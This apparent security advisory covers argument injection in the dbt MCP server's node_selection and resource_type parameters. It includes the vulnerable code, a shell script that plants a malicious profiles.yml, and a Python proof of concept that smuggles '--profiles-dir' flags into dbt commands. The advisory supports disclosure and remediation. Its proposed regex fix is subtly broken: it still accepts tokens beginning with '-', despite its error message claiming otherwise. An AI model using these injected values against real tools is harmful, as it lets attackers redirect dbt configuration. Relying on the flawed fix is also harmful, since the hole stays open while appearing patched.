dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters

# src/dbt_mcp/dbt_cli/tools.py  lines 77–79
if node_selection and isinstance(node_selection, str):
    selector_params = node_selection.split(" ")
    command.extend(["--select"] + selector_params)

# src/dbt_mcp/dbt_cli/tools.py  lines 84–85
if isinstance(resource_type, Iterable):
    command.extend(["--resource-type"] + resource_type)

# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
  target: dev
  outputs:
    dev:
      type: duckdb
      path: /tmp/PWNED_by_injection.duckdb
      threads: 1
EOF

# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
  test_project:
    +materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql

rm -f /tmp/PWNED_by_injection.duckdb

#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py

import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable


class BinaryType(Enum):
    DBT_CORE = "dbt_core"


@dataclass
class DbtCliConfig:
    project_dir: str
    dbt_path: str
    dbt_cli_timeout: int
    binary_type: BinaryType


def _run_dbt_command(config, command, node_selection=None, resource_type=None):
    # Vector 1: vulnerable line from tools.py
    if node_selection and isinstance(node_selection, str):
        selector_params = node_selection.split(" ")
        command.extend(["--select"] + selector_params)
    # Vector 2: vulnerable line from tools.py
    if isinstance(resource_type, Iterable) and resource_type is not None:
        command.extend(["--resource-type"] + list(resource_type))
    cwd = config.project_dir if os.path.isabs(config.project_dir) else None
    args = [config.dbt_path, "--no-use-colors", *command]
    print(f"[args]   {args}")
    proc = subprocess.Popen(args=args, cwd=cwd,
                            stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            stdin=subprocess.DEVNULL, text=True)
    out, _ = proc.communicate(timeout=config.dbt_cli_timeout)
    return out or "OK"


config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT_CORE)

print("=" * 64)
print("  Vector 1 - node_selection injection")
print("=" * 64)
print(f"[input]  node_selection = 'my_first_model --profiles-dir /tmp/evil-profiles'")
result1 = _run_dbt_command(config, ["run"],
    node_selection="my_first_model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)

print("=" * 64)
print("  Vector 2 - resource_type injection")
print("=" * 64)
print(f"[input]  resource_type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = _run_dbt_command(config, ["list"],
    resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)

db = "/tmp/PWNED_by_injection.duckdb"
print("=" * 64)
if os.path.exists(db):
    print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
    print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
    print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)

import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
_SAFE_TOKEN_RE = re.compile(r'^[\w.*+@,:\[\]/-]+$')

if node_selection and isinstance(node_selection, str):
    tokens = node_selection.split(" ")
    for token in tokens:
        if not _SAFE_TOKEN_RE.match(token):
            raise InvalidParameterError(
                f"node_selection contains an invalid token: {token!r}. "
                "Tokens must not begin with '-'."
            )
    command.extend(["--select"] + tokens)

_VALID_RESOURCE_TYPES = frozenset({
    "model", "test", "snapshot", "analysis", "macro",
    "operation", "seed", "source", "exposure", "metric",
    "saved_query", "semantic_model", "unit_test",
})

if isinstance(resource_type, Iterable):
    rt_list = list(resource_type)
    invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]
    if invalid:
        raise InvalidParameterError(
            f"resource_type contains unrecognised values: {invalid}. "
            f"Allowed: {sorted(_VALID_RESOURCE_TYPES)}"
        )
    command.extend(["--resource-type"] + rt_list)